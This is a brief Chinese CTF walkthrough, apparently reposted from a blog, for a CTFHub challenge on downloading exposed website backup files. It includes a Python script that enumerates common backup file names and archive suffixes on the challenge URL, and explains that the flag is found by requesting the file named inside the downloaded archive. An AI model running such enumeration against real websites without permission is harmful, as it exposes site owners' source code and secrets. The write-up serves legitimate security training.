CTFHub技能树备份文件下载——网站源码

1.点击开启题目,打开给出的链接。看到这个页面,大体猜到应该是让我们拼接文件名和后缀,并访问。

2.最基础的就是一个一个的拼(这次是www.zip),当然,就是有点费时间,也可以使用代码。

import requests
import webbrowser

url = "http://challenge-60bf1666b39af9d0.sandbox.ctfhub.com:10800/"
filename = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
suffix = ['.tar', '.tar.gz', '.zip', '.rar']

for i in filename:
    for j in suffix:
        url_new = url + i + j
        r1 = requests.get(url_new)
        print('r1.status_code', r1.status_code)
        print('url_new', url_new)
        print('\n')
        if(r1.status_code == 200):
            webbrowser.open(url_new, new=1)  # 打开新的浏览器窗口

3.无论是手动还是用代码,都会直接下载一个压缩包文件,然后解压缩,得到一个用flag命名的文本文档,打开后啥也没有。

4.既然这样,没有别的办法了,只能把文本文档的名字复制到链接中。回车发现flag。

猜你喜欢

转载自blog.csdn.net/qq_53768302/article/details/129944835